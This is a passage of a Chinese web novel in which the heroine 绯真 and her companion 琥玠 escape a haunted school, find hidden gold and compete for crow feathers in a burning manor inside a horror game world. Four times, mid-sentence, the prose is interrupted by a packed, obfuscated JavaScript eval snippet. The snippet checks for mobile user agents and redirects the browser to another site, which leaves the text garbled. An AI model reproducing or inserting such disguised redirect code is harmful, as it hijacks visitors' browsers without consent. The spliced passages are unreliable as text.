“当然是不确定一个人的头发是一根还是需要全部啊。”绯真当时可是把两个尤页全部的头发都扯了下来,就算往墙上挥几下时少了一些头发,最后手上还剩下大把的头发啊。 “那我就不参加抽签了。”光头青年都没有头发,他就算抽中了也没有用,“我来做签子怎么样?” “我们三个不抽签,我们愿意献出我们的头发。”何束三人聊了几句,何束作为队长发言道。 “啊,那就只差一个人了。”光头青年拍了下他同伴的肩膀,“我同伴也愿意献出他的头发。” “那就不用抽签了,我们猜拳定胜负,输的人献出头发。”琥玠直接看向灰格子衬衣男。 他不会让绯真的头发受损。 “你男友对你真好,连头发都不愿意伤着。”光头青年凑到绯真旁边,大声嘀咕道。 绯真笑笑,什么也没说。 猜拳结果毫无悬念,灰格子衬衣男输了。 负责出头发的五个人先各自拔了一根头发放在习题册上。 众人等了一会,五根头发很快被习题册吸收了,就是习题册的字迹没什么变化。 接着五人提供了更多的头发,每个人都切了一撮头发下来。 这次习题册终于发生了明显的变化。 模糊的字迹变得清晰,变成了一道谜题。 “从哪来回哪去,记得和主人打招呼。谜底就是出口的位置,这难道是指我们进来的大门,可是......”申晓凡看向一楼大厅的大门,那里早已没有大门,只剩下一堵墙。 “砸墙离开也不是不行,就怕猜错了出口,一旦走错如果能回头还好,如果不能就再也离不开了。”何束看了看那墙,她觉得还是要谨慎些。 “记得和主人打招呼,你们谁知道这里的主人是谁?”绯真看向后半句,她想起蛛蛛带她来这里时说过的话,尤页很像这里的主人。 “除了那个会抓人的诡异,在只有一开始在大厅看见的那两个诡异,根本没看见还有其他诡异。”何束说完其他人表示了赞同。 “有没有可能那个抓人的诡异尤页就是这里的主人?”绯真走进尤页之前跳窗离开的教室,“这里的那个尤页之前跳窗跑了,会不会这扇窗就是离开的出口?” 绯真走到琥玠指出来的窗户前,伸手一拉,窗户就拉开了。 窗外是一片灰暗的雾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482759|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让人觉得莫名熟悉。 “万一错了......”灰格子衬衣男犹豫了。 绯真走到旁边去开另一扇窗户,窗户纹丝不动,“打不开,你们也试试。” 绯真走开,给大家留出了空间。 所有人都试了一遍,果然只有一扇窗户可以轻易打开。 那就没什么好犹豫了。 “各位,我们先走了,希望大家都能活着离开这里。”何束说完,带着她的队伍先翻出窗户走了。 光头青年拍了拍他沉默寡言的同伴,回头看了一眼灰格子衬衣男,灰格子衬衣男欲言又止,犹豫一下还是翻窗离开了。 接着光头青年的同伴也从窗户跳了出去。 “知道虫子都喜欢往哪里飞吗?”光头青年说完这句莫名其妙的话,从窗户跳了下去。 “早知道就让那个光头走最后了,瞧他这说的都是什么话啊。”琥玠拍出去的手掌没打到光头青年的背,只拍到了一片雾气。 “走啦,你听过飞蛾扑火就该知道是谁更惨了。”绯真才不在意扑过来的诡异,它们敢对她不利只会比飞蛾扑火的虫子更惨。 “我们现在去哪?” 雾气太浓,先离开的人已经找不到了,琥玠紧紧地跟着绯真,生怕和绯真走失。 “啊——!”远处响起了惨叫声,声音很奇怪,像被磨砂纸擦过一样完全变了调,让人听不出是谁的声音。 甚至不能确定是不是诡异在故意嚎叫。 声音很快就消失了,就算想找也很难找到。 “这地方不安全,我们要不先回蘑菇屋?”琥玠担心灰雾中有诡异突然冲出来,这样他很难保护绯真。 “你记得回蘑菇屋的路?”绯真和蛛蛛一块过来,她当然也记了路线。 “记得。” “我看见你出来时门突然关上了,你是怎么出来又怎么找到了这里?” “对,不知道哪里来的风把门吹上了,还好不是门突变了,我打开门就立马追了上来。还好没追错方向,我还担心走错了路。” 两人边走边聊,灰雾区带来的环境压力几乎消散了。 只是声音同样会掩盖住另外一些声音。 “你有没有听见其他声音?”绯真低声询问道。 “你走前面。”琥玠听见了身后不远处那道轻微的脚步声,他走到了绯真的身后。 于是三道脚步声连成了串。 “啊!”肩膀上被人轻推了一下,绯真往前踉跄了几步,正好离开了雾气范围,“你推我做什么?” 转头看见琥玠从雾气中也跌了出来。 “有东西推我!”琥玠辩解道。 他转身,黑色的皮衣背后一个沾了面粉的手印赫然在目。 琥玠脱掉外套拍了拍,昙花区的阳光正好,胳膊上流畅的肌肉纹理十分清晰。 完全符合穿衣显瘦、脱衣有肉这句话。 绯真的目光从琥玠那身无袖黑色紧身衣上移开,她望向灰暗的雾气。 雾气中跟着他们的那道脚步声的主人为什么没有从雾气中走出来? 因为这里有阳光,光线明亮会被看见吗? 9. 指向 “你为什么跟着我们?”绯真不确定对方是否还站在那里,她试探着问了一句。 没有人说话,只有一枚硬币从雾气中掉了出来,滚到了绯真红色的皮靴边上。 那是一枚一元硬币,不该属于诡异。 “哪来的硬币?”琥玠拍掉了外套上的面粉,重新穿上,右脚一踩,硬币瞬间飞了起来,正好落在琥玠伸出的右手掌上。 正好硬币的正面向上,上面还有残留的白色面粉。 绯真感觉有点像...... “像不像‘S’?”绯真用手指在硬币上轻轻划了几下,指尖的触感让她察觉到了另外一处异样,“这好像不是一枚硬币?” “嗯?”琥玠翻转硬币仔细观察,“这里可以剥开!” 琥玠剥开了外层以假乱真的硬币包装纸,露出了里面一叠硬币大小的圆形纸片。 每张圆形纸片上都写了一个字。 “十三点的尖塔,阴影最浓之处。” 除了这条让人摸不着头脑的信息外,还有求救两个字,留下信息的人在呼救。 “这是你发出的求救信?救谁?”绯真问完,雾气里没有传来任何回应。 不知道是对面的人悄悄离开了,还是不愿意回答这个问题。 “你要去救?我们都不知道在哪,这个时间和地点说了跟没说一样。”琥玠怀疑信息的真实性,“没听说时间还有十三点啊。” “你也不知道啊,那就没办法了。”都不知道尖塔在哪里,自然帮不上忙了。 “你怎么觉得我会知道啊?”琥玠摸摸头发,露出了几分大猫般的憨厚。 “我们不是一起玩过《血色恐怖》吗,尖塔肯定是游戏里某个地方,你说不定见过啊?” “有道理,我想想。”琥玠右臂抬起搁在左臂上摸着下巴沉思。 他思考时微微歪了头,阳光洒落在头发上,黑发上像多了一层流光。 “我知道尖塔在哪。”一个细小的声音打破了宁静,头上顶着荷叶帽子的青蛙人从旁边一幢屋子后面走了出来。 走近后,才一米高的青蛙人只能抬头仰视绯真。 “绯真,我是蛙蛙,你的邻居,我知道尖塔在哪。” 绯真笑了,她发现好多“人”都知道她叫绯真啊。 “尖塔在哪?”无论求救信是真是假,显然有人在引她过去,那她就过去看看好了。 希望对方不会后悔。 “尖塔在灰雾区。”青蛙人一直看着绯真,它的视线总是不自觉被绯真头发上的红狐发饰吸引。 “灰雾区?你是指那片被雾气笼罩的区域吗?” “没错。” “那这里是哪?” “这里是有白天黑夜变化的昙花区,玩家们基本只能在灰雾区活动,很少有人能到达昙花区。”青蛙人的目光里只有红狐发饰,连一分目光都不愿意分给边上的琥玠。 原来《血色恐怖》游戏世界还分灰雾区和昙花区啊。 “那还有其他区域吗?”绯真顺口又问了一句。 青蛙人摇头,“我不知道,我知道你们要找的尖塔在哪里,我可以带你们去,只是......” 青蛙人盯着绯真头发上的红狐发饰,目光一闪一闪,“可以把那块红宝石给我吗?” “不行!”琥玠断然拒绝,“这件饰品对我和绯真意义非凡,不是你能觊觎的物品!” 琥玠的反应如此强烈,果然这件物品对他而言同样十分重要。 绯真也是第一次遇到陌生诡异直接问她要这件发饰,“这是我最喜欢的发饰,不可能给你,换个要求。” “那......那就算了。”青蛙人感到可惜,“那我不要了,我带你们去找尖塔。” 青蛙人说着跳进了灰雾区。 “我觉得有问题。”琥玠站在原地没动。 绯真转身走了。 琥玠露出一抹喜悦,快步跟了上去,“我就知道我们心有灵犀。” “青蛙人出现的时间太巧了,而且这里的诡异怎么好像全都知道我叫绯真?”她改变主意了,还是先去蘑菇屋。 “一定是有诡异偷听了我们的谈话,真不要脸!”琥玠走到绯真身旁,两人并肩行走,“现在去哪?” “去蘑菇屋啊,你不累吗?”绯真脚下的步伐不停,昙花区没有雾气干扰,在记得路的情况下找到红色蘑菇房子并不难。 “是该休息下了,你放心,你休息的时候我会睁大眼睛好好守着!” 琥玠打开门,率先走进了蘑菇屋,握着匕首对准卧室的门划了一下,留下一道浅浅的划痕。 “好了,留下的辟邪气息可以坚持几个小时,里面没有问题,你先去休息。” 绯真走进房间,发现这间卧室的布置很特别,不仅是家具,就连墙面都是大红色,她穿着红裙进去,莫名融进了这片红色。 她回头看向琥玠:“那你?” “我就守在门口,有事你就喊一声。”琥玠背对着门口席地而坐。 这间卧室的布置明显和外面大厅的黑白简约装修风格不一样,绯真的手在门上轻轻推了一下。 她喜欢红色,这里全是红色,她对这个房间很满意。 ...... “咚咚咚!” 不知道过去多久,绯真被一阵敲击声吵醒,她的心情有点差,快步过去打开了门,门口却没有看见琥玠的身影。 门外没有任何人,咚咚咚的声音却还在响起。 “醒啦?”琥玠从厨房门口闪现,手里拿着一只碗,“尝尝?” 碗里是炸得金黄的肉片。 “什么声音在响?”琥玠也听见了从某处一直传来的咚咚咚的声音。 “不是从大门那传来。”绯真的目光从大门口移开,声音像是从很近的地方传来。 “先吃饭,我都烧好了。”琥玠侧耳听了会,就拉上绯真往厨房走。 蔬菜汤、红烧肉、白米饭,这次出现在厨房桌子上的菜色正常多了。 绯真尝了一口,“你烧的?厨艺不错啊。” 红烧肉的口感很好,食材自然是猪肉,她才不会随意怀疑食材的来源。 琥玠吃了一大口红烧肉,得意地说道:“是啊,我就知道绯真一定敢在这里吃肉!谁说《血色恐怖》就没有正常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482760|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪肉?” 吃完这顿饭,耳边被忽略的背景音依旧在响。 两人在蘑菇屋里转了转,在一楼一间杂物房里找到了声音的来源。 那里放着一个陈旧的大衣柜,柜子里空空如也,但是柜子里侧有十分清晰的敲击声一直在响。 只不过绯真一发现这件事,咚咚咚的敲击声就消失了。 赶在绯真动手之前,琥玠先动手把柜子里面那块木板拆了下来,“后面有台阶,这难道是一个密室吗?” 台阶蜿蜒往下没入一片黑暗之中。 之前敲击木板的那个“人”说不定此刻就在这片黑暗中望着他们。 绯真没急着走下去,她看了一圈四周的情况,还真让她在入口处的墙壁上发现了一行小字。 “宝藏入口处?”绯真惊讶,“这是无意中发现了宝藏入口吗?” “这里居然有宝藏!”琥玠感到怀疑,“会不会是假的?” “《血色恐怖》没有宝藏吗?” “只有一个关于宝藏的传说。”琥玠十分肯定地说道,“但是你说那个宝藏是假的。” “啊?还有这事?”绯真不记得了。 “对。”琥玠认真地点头。 “现在遇到的情况不是和你之前说的游戏不太一样了吗?会不会宝藏也发生了变化?”绯真拿出从厨房找到的打火机,点火走了进去,“我们下去看看。” “走慢点,小心危险。”琥玠立即跟上。 走了一会,台阶数目比想象中少,很快就走到底了,估计就是往下走了一层。 黑暗中看不见这片地下空间的边界在哪里。 一簇火苗在半空中移动,火苗覆盖到的范围很小,移动了一会也才照到了一只旧木箱。 木箱很旧,箱子上的锁早就没了。 绯真轻轻一推就推开了。 箱子里的物品谁也没有预料到,金灿灿一片都能照亮一大片空间了。 “咦?这里居然有一箱黄金!”琥玠拿了一块黄金掂了下,手感没有问题。 家......红色蘑菇房子......宝藏......一大笔钱...... 所有的信息瞬间串联在一起,绯真突然明白了是怎么回事。 “这箱黄金就是蛛蛛认为的我拥有的宝藏。” “人面蛛知道你有这箱黄金?”琥玠吸了一口凉气,“不对劲,这里的诡异不对劲,它们难道是想把你同化为它们的一员吗?” “人类变成诡异这么简单吗?只要骗一骗就行?”绯真觉得有点离谱。 “没骗你。” “谁?”打火机那点火焰扫了过去,火焰太小,根本抓不住黑暗中那个影子。 “去找尖塔,救救他,去找尖塔,救救他!”声音忽远忽近,雌雄莫辨。 “这是盯上我了?”绯真没想到为了引她去尖塔,居然都跟到蘑菇屋来了。 只是对方不走寻常路,没从大门来,而是从地下室过来敲门了。 “拜托了,只有你能救他——”声音飘远了,渐渐听不见了。 “所以‘他’是谁啊?”绯真感觉谜团越来越多了啊。 10. 奇怪玩家 从昙花区去灰雾区并不远,甚至从蘑菇屋的地下室走都能顺利进入灰雾区。 就是在灰雾区找尖塔没那么容易。 灰雾区的视野很差,只能看见近处景物模糊的影子,要找一个指定的地点没有那么容易。 进入灰雾区之前一直试图引绯真去尖塔的那个声音也消失了。 似乎对方只想绯真踏进灰雾区,至于能不能及时赶到尖塔却不在意了。 “这地方视野那么差,没人带路根本不知道找到尖塔吧?”绯真在原地等了会,没等来任何异常情况。 “既然如此,我们去找最终之门和黄金钥匙啊。”琥玠找到了绯真,接下来自然就是要离开这个诡异世界。 绯真点点头,刚要开口就听见有人跑过来。 “有人来了。” “不知道又是什么人?”琥玠冷哼一声,转头看去。 来人跑近后,大概能看清了,那张脸很像一个人。 “你们怎么站在这里不动?在雾气里待太久很容易被诡异盯上,我要去下一个景点了,你们也快离开这里!” “武发?”绯真试探着叫了一声。 在商场里遇到的其他玩家不是都随着商场倒塌而死亡了吗? “哎。”武发应了一声,继续往前跑远了。 本来雾气浓重,周围情况不明,跑起来不可能没有一丝犹豫,但灰雾区里有一条经过无数景点的大路,这条大路上没有障碍物,只要没有意外,完全可以安心地跑。 “你说他是真正的武发吗?” 灰雾区的大路只有一条,绯真选择往前走,自然和武发走了同一个方向。 “管他是不是真的,反正和我无关。”琥玠并不关心这件事。 “有没有可能武发用了复活道具?”无论什么游戏,复活道具都十分珍稀,《血色恐怖》如果有这个道具,绯真也想要一件,说不定什么时候就派上了用处。 琥玠抓抓头发,发型越发显得狂放不羁。 “山槐肯定知道。” 看来琥玠不知道。 山槐知道,但是他们不知道山槐在哪啊。 经过一扇铁门,铁门突然自动往里打开,发出的声响引起了绯真和琥玠的注意。 “废弃庄园?”铁门的里侧竖着一块木牌,上面隐约写着这四个字。 绯真看了一眼原本打算离开,结果注意到木牌上白色的部分其实是面粉时,她意识到那个想让她去尖塔的人或许一直跟着他们。 铁门自动打开不会是偶然,木牌上沾染的面粉也不会是巧合。 只是尖塔会在这个废弃庄园里吗? “走,进去看看。”绯真转身走了进去。 整座庄园除了这扇铁质大门,其他全用铁栏杆围了起来,面积一定很大,站在铁门这边并不能看见对面的铁栏杆。 从铁门往里走,没有看见任何建筑,只有半人高的杂草和叶子泛黄的树林。 连一条可供人走的小路也没有。 随便走几步就会响起草叶摩擦的声音,窸窸窣窣声一直环绕在耳边。 “这鬼地方不是庄园吗?怎么连房子都没有看见?”琥玠一挥手,就扫开了一大片杂草。 “你有没有觉得这里的杂草越长越高了?”又往前走了一段路,杂草都快长到绯真肩膀了。 继续往前走,估计很快就会被这些不正常高度的杂草掩盖住身形。 “这地方......”琥玠似乎想起了什么。 “你认识?” “我想起来了,这个景点我们在电脑上玩过。” “怎么玩?” “乌鸦出现的时候就代表游戏开始,会有一只乌鸦给玩家一根乌鸦羽毛并跟着玩家一起行动,有人拿到场上最多的乌鸦羽毛时,铁门就会从里面打开,而乌鸦叫意味着玩家处于危险的情况。” “所以这次的游戏只要尽可能拿到更多的乌鸦羽毛就行?”绯真抬头看向漆黑的上空,如果不是那团黑影移动了一下,未必会被发现。 那是一只漆黑的乌鸦,完美地融入了漆黑的夜色中。 “乌鸦出现了。”绯真伸手接住了天空中飘下来的一根乌鸦羽毛和一个纸团。 纸团上写的游戏规则和琥玠说的一样。 只是这次的游戏不能确定参与的玩家人数,但肯定不会少于十人。 琥玠把他的乌鸦羽毛给了绯真,“给你。” 绯真不和他客气,把两根乌鸦羽毛都拿在了手上。 失去乌鸦羽毛并不会有什么问题,这个游戏的重点从来不在“失去”乌鸦羽毛,而是“拿到”乌鸦羽毛。 “嘎嘎!” “嘎嘎!” 两只乌鸦同时叫,绯真立马看向四周,即使这里的杂草只长到她的腰部,这点高度也足够其他人悄悄靠近了。 “怎么在杂草丛里移动会没有一点声音?”稍微碰一下这些杂草就会发出窸窸窣窣的声响。 现在周围没有任何声音,难道对方使用了道具后才靠近? “让我先来清理一下。”琥玠挥动匕首,附近的杂草瞬间收割了一大片,立马空出了一小片空间。 “这是还没靠近吗?”琥玠往前走了一步,他手里的匕首对准前方那片杂草挥了下去。 “别动手,是我,城晶燕!”城晶燕从两米外的杂草丛中站了起来,她大声地自报家门,生怕因为夜色太暗被误伤。 “你一个人吗?”绯真往前走了几步,她发现她刚才没有看错,城晶燕身上之前类似队服的衣服换掉了,穿了一件普通款式的浅色高领衬衣。 “嗯,我和他们走散了。”城晶燕解释了一句,目光从绯真左手拿着的两根乌鸦羽毛上划过,“我偶然听到了一个秘密,我可以用它换你们的乌鸦羽毛吗?” “用秘密换乌鸦羽毛吗,听起来似乎不错?”绯真笑了一下,“可是我不感兴趣,不如我告诉你一个秘密,你把你的乌鸦羽毛给我啊?” 城晶燕的右手下意识捂住了裤子的口袋,“你不愿意就算了,我去找其他人。” 城晶燕后退着走了几步转身快速跑了,她似乎很担心绯真会追上去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482761|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就这么让她离开吗?” “没关系,还会再遇见。”绯真晃了晃手上的乌鸦羽毛,“之前在电脑上,我们是怎么玩这个游戏?” “扫荡了乌鸦的老巢。”琥玠伸手示意,他的右手上不知何时多了一只乌鸦,乌鸦的鸟嘴被捏住了。 “乌鸦那么好抓吗?下次我也试试。” 琥玠手里这只乌鸦自然不是跟着他或者绯真的乌鸦,这是跟着城晶燕一起过来的那只乌鸦。 这些乌鸦经常依仗夜色在玩家身边飞过,遇上知道这个景点情况的琥玠,这只乌鸦可不就翻车了。 “下一只乌鸦估计没那么好抓了,不过只要拿到乌鸦羽毛,抓住乌鸦就不难。”琥玠拔了一根韧性不错的杂草,把手里的乌鸦捆了起来,捆完照样没给乌鸦发声的机会。 “乌鸦羽毛还可以吸引来乌鸦吗?”绯真抬头看向天空,飞在空中的两只乌鸦不见了,她刚才还看见乌鸦的影子闪过,看来是听见他们的对话后躲了起来。 “电脑上玩时,乌鸦的老巢在一棵长得非常高的树上,树干接近树根的部分偶尔会有火星闪现,我们当时带了八只乌鸦过去,八只乌鸦抱住了那棵树,我们才发现树上有一个鸟巢。” “鸟巢里有什么?” “乌羽衣,披上后能防摔。” “防摔?”那对她好像没什么用啊,不过道具可以拿去交换其他道具,既然知道了自然也没必要放过。 “走,我们去找那棵树,树干偶尔会有火星闪现,没有乌鸦带路也不是没有机会找到。” 绯真不着急去找乌鸦羽毛,其他玩家可是在认真完成游戏,她手里又有两根乌鸦羽毛,很快就有玩家找了过来。 “呜呜呜!” 乌鸦声再次响起时,绯真就知道又有玩家靠近了,只是她怎么也想不到这次过来的玩家,一见面就先哭给她看。 她没兴趣看一个陌生人哭啊。 “你哭什么?” “呜呜呜,我只剩下一个多月的时间了,你能不能把乌鸦羽毛给我,我不想死,呜呜呜!” 这人哭得伤心,双手一直挡着脸,让人看不清长相,只是从声音和身形判断是一个男生。 琥玠嫌弃的目光都要在这人身上戳出洞了。 “乌鸦羽毛还能延长你的寿命吗?”绯真惊讶。 爱哭男点点头。 就在爱哭男以为绯真会心软把乌鸦羽毛送给他时,他看见绯真伸手指向了上空。 “你把跟着你的乌鸦的羽毛全拔下来好了啊,一只乌鸦身上的羽毛可是比我手里的羽毛多多了。”绯真研究过了,她手里的乌鸦羽毛就是普通的乌鸦羽毛,就是从半空中的乌鸦身上掉下来的羽毛。 既然乌鸦羽毛对这人那么有用,那么抓乌鸦拔毛岂不是更快! 爱哭男感觉噎到了,“呜呜呜,不一样,只有你手里的乌鸦羽毛才能帮到我,呜呜呜!” “可是这是我的,我不想给别人,这样好了,就按照游戏规则来,你如果能拿走就给你,拿不走就把你的乌鸦羽毛给我,怎么样?” 11. 大火 按照游戏规则,那不就是去拿别人的乌鸦羽毛? 别人怎么可能乖乖把乌鸦羽毛拿出来,绯真这是不愿意把乌鸦羽毛给他啊。 爱哭男哭声不停,脑子里却不知道转了多少个圈。 琥玠听着觉得烦:“绯真,别管这爱哭鬼了。” “嗯。”绯真无所谓,爱哭男只哭不说话那就......“那只乌鸦也带走吧。” 琥玠顺着绯真的右手看过去。 这次绯真一个起跳,精准抓住了爱哭男身边盘旋的乌鸦。 爱哭男的乌鸦:“!” 爱哭男的双手捂着脸,影响了他的视线,他感觉好像哪里不对劲。 爱哭男:“?” 爱哭男还没意识到绯真抓住了跟着他的那只乌鸦。 他看见绯真抓着什么东西和琥玠离开了。 爱哭男连忙追上去。 远处霹雳电光乍现,瞬间撕破了废弃庄园的黑夜。 不停闪烁的电光连废弃庄园最远处的角落都分到了一点光芒。 “那边是打起来了吗?”绯真停下脚步,好奇地看向电光闪现的地方。 几乎话音刚落,电光处又冲天而起一道火焰。 火焰与雷电交织在一起,一如那边的战况,难解难分。 那边的打斗原本不至于那么快波及到其他玩家。 然而废弃庄园里疯狂生长的不正常杂草到处都是,一点火焰就足够迅速蔓延开去。 火光渐渐逼近。 距离废弃庄园被火海吞噬似乎不远了。 不过有火光照亮天空,那些躲在黑夜中的乌鸦们顿时无所遁形。 为了防止被火焰烧到羽毛,乌鸦们开始往更高处飞去。 绯真通过天空中飞行的乌鸦很快确定了现在在废弃庄园中的玩家人数以及所在的位置。 离他们最近的一只陌生乌鸦就在左侧三百米处。 那只陌生乌鸦下方的杂草丛里必然藏着一个玩家。 火光那么亮,对方自然很快就察觉到自己暴露了。 一道人影从杂草丛里跳了出来,以最快的速度跑向绯真。 那人从杂草丛里跳出来,有不远处的明亮火光映照,自然被照得十分清晰。 那人显然都预料到了,特意在脸上戴了一张熊面具来掩饰身份。 很明显,面具人的目标是绯真手上的乌鸦羽毛。 只是面具人的头往上方转了一下,面具人的视线像是在看绯真头顶的位置。 三百米的距离,面具人很快就跨越,跑到了绯真的面前。 他举起的手对准了绯真手里的乌鸦羽毛。 乌鸦羽毛自然没有被面具人抢走。 反而是面具人自己被绯真抓住了那只不该伸手的右臂。 “明抢?”绯真发现这人还真直接,直接动手,没有讲一句废话。 “我的东西可没有那么好拿。”绯真抓着面具人的右臂往右侧一甩。 面具人像个陀螺一般转了几圈,一控制住身形,立马往远处跑了几步。 回头看见琥玠站在他之前的位置上。 “你把你的乌鸦羽毛给她了?你难道不知道没有乌鸦羽毛会......”面具人没想到绯真力气那么大,再加上琥玠就更加没有胜算,他挑拨了一句就往火焰还没烧到的方向快速跑远了。 “没有乌鸦羽毛会怎么样?”绯真讨厌对方说话说半句,如果说的事情不感兴趣就算了,但这件事引起了她的好奇,那就不能让面具人就这么离开。 绯真捡了一块石头对准面具人的小腿扔了出去。 石头顺利击中了面具人的右小腿,面具人的右腿瞬间弯曲下去。 很快就被跑上来的琥玠抓住了。 “让你挑拨完就跑,信不信我把你另一条腿打折?”琥玠揪着面具人的衣领,气势汹汹。 “没有乌鸦羽毛会怎么样?”绯真扔石头时没怎么用力,但她出拳就未必了,她握了握右拳,拳头在面具人眼前晃了晃。 “你在看什么?”绯真没想到这个时候对方还分心。 “我的发饰是不是很好看?你都偷看好几次了!” 绯真对红宝石雕刻而成的狐狸发饰很满意,她很喜欢这件饰品。 她不在意其他人看这件发饰,但是偷偷摸摸,目光里透露出占有欲,那就不行。 “绯真问你话呢,说话啊!”琥玠用力摇晃面具人。 “好......好看。”面具人感觉头晕。 “让你回答这个了吗?”琥玠又是一顿摇晃然后丢在了地上。 面具人的头晕乎乎。 脸上突然传来刺痛感,面具人才注意到远处的火焰已经烧到了这边,刚刚火舌舔了一下他的脸,火焰烧掉了部分面具又碰到了他的皮肤。 面具人抱着晕乎乎的脑袋往另一边躲,然后他就看见了毫无存在感的爱哭男。 雷电、火焰出现之后,爱哭男突然就不哭了,只是下意识双手捂着脸,似乎很怕见光。 这会两人的目光对上,爱哭男藏在指缝后面的眼珠转了转。 “乌鸦羽毛!”绯真捡起从面具人身上掉下来的乌鸦羽毛,这下她手里就有三根乌鸦羽毛了。 “你还没走啊?那我要拿走你的乌鸦羽毛了。” 绯真觉得刚才琥玠摇晃人的办法不错,摇一摇,藏在身上的乌鸦羽毛就摇下来了。 “我!别拿走我的乌鸦羽毛,呜呜呜,那是我的命......” 爱哭男哭着哭着,然后双手就被打落了。 爱哭男:“?”发生了什么? “既然这么伤心,你怎么一直在假哭啊?” 爱哭男一直在哭,就算双手一直捂着脸,也不至于看不见一滴眼泪。 假哭实锤了。 “我......呜呜呜,实不相瞒,我控制不住啊,呜呜呜!” 都被发现是假哭,没想到爱哭男仍试图狡辩。 他的眼睛没有泪水,眼皮都没有一丝泛红的迹象。 只有嘴巴发出呜呜呜的哭声。 之前捂着脸还挺像,现在嘛,就太可笑啦。 “我看见乌鸦羽毛在哪了!”琥玠走过去对准爱哭男的右侧肩膀一掌拍了下去。 爱哭男吓得直接跌坐在地。 火焰就在爱哭男背后烧着,差一点点就燎到他的头发。 他正好坐在琥玠用匕首砍出的防火隔离带。 “我的乌鸦羽毛真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482762|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不能给你们!”爱哭男紧紧地抓着他的乌鸦羽毛。 面具人在地上躺了一会,感觉缓过来了,他的头歪向绯真的方向,“他在撒谎,他的乌鸦羽毛和他的命没有关系,不过......” 面具人忽然笑了,“不过他拿不到让他来拿的物品,他的命的确会受到威胁。” 爱哭男这次连假哭声都不装了,他怒目瞪视面具人。 “你以为我不知道你和我一样吗?” 绯真一听就知道是怎么回事。 “有人指使你们来拿我的一件物品,不是乌鸦羽毛,那难道是......”绯真伸手轻碰了一下红狐狸发饰。 果然面具人和爱哭男的视线都跟着动了。 他俩的目标的确是绯真头发上的红狐狸发饰。 琥玠沉了脸色,他不高兴了。 “你们不是第一个想要这件宝石发饰的人,我这件宝石发饰虽说很值钱,但在《血色恐怖》这里,不是有很多比钱更有价值的物品吗?” 为什么这些人总是盯着她的宝石发饰啊?就那么喜欢钱吗? “那不是一件道具吗?”爱哭男吃惊道。 “啊?谁说的?我怎么不知道!” 琥玠眨了眨眼,没拆穿绯真失忆怎么可能还记得宝石发饰的事情。 这下爱哭男和面具人都感到疑惑了。 琥玠把爱哭男的乌鸦羽毛拿来给了绯真。 爱哭男:“!”他的乌鸦羽毛! 面具人一时也分不清谁说的是真话,他想了想,说道:“你知道溯舟吗?” “不认识。”绯真没听说过这个人,“你认识吗?” 琥玠:“不认识。” “我也是有职业道德的人,更多的信息就不能说了。”面具人没了乌鸦羽毛,此刻有些摆烂了。 他扶着脸上坏掉的熊面具,趁绯真和琥玠不注意快速跑掉了。 爱哭男一看面具人跑了,他一个利落地后滚动作,瞬间没入火海中。 “他这是傻了吗?往火里逃?”绯真感到不可思议。 “啊!”火海中传来一声惨叫声。 是爱哭男的声音,就是声音响起的时间是不是迟了点? 惨叫声还会有延迟吗? “现在才惨叫是不是太假了?”绯真伸手靠近火焰,站远点还没什么感觉,一靠近就能感受到火焰的真实感。 这场火是真的。 爱哭男往火里逃显然是身上有避火类道具。 废弃庄园有很多杂草树木,这场火不知道要烧多久才会熄灭。 “乌鸦的老巢不会也被烧了吧?”绯真感觉抓来的乌鸦没什么用了啊。 “道具用普通火焰无法烧毁。” 这算是一个好消息,只是没有了乌鸦老巢所在的树作为线索,找到乌鸦老巢里的道具就没那么容易了。 “在火熄灭之前,我们先拔毛好了。” 防火隔离带只隔出附近这片空间,想走也走不了多远。 面具人从另一个方向跑了,那边暂时还没着火,但远处烧起来了,终究还是会跑进火里去。 “拔毛?简单!” 琥玠伸手一抓。 “嘎嘎!”叫声中充满痛苦。 12. 他人的记忆 琥玠扯住一根乌鸦羽毛用力一拔,乌鸦羽毛没拔下来,乌鸦化为了一团粉末掉落在了地上。 绯真:“?” “怎么消失了?”琥玠的目光从空空如也的双手转向另一只乌鸦。 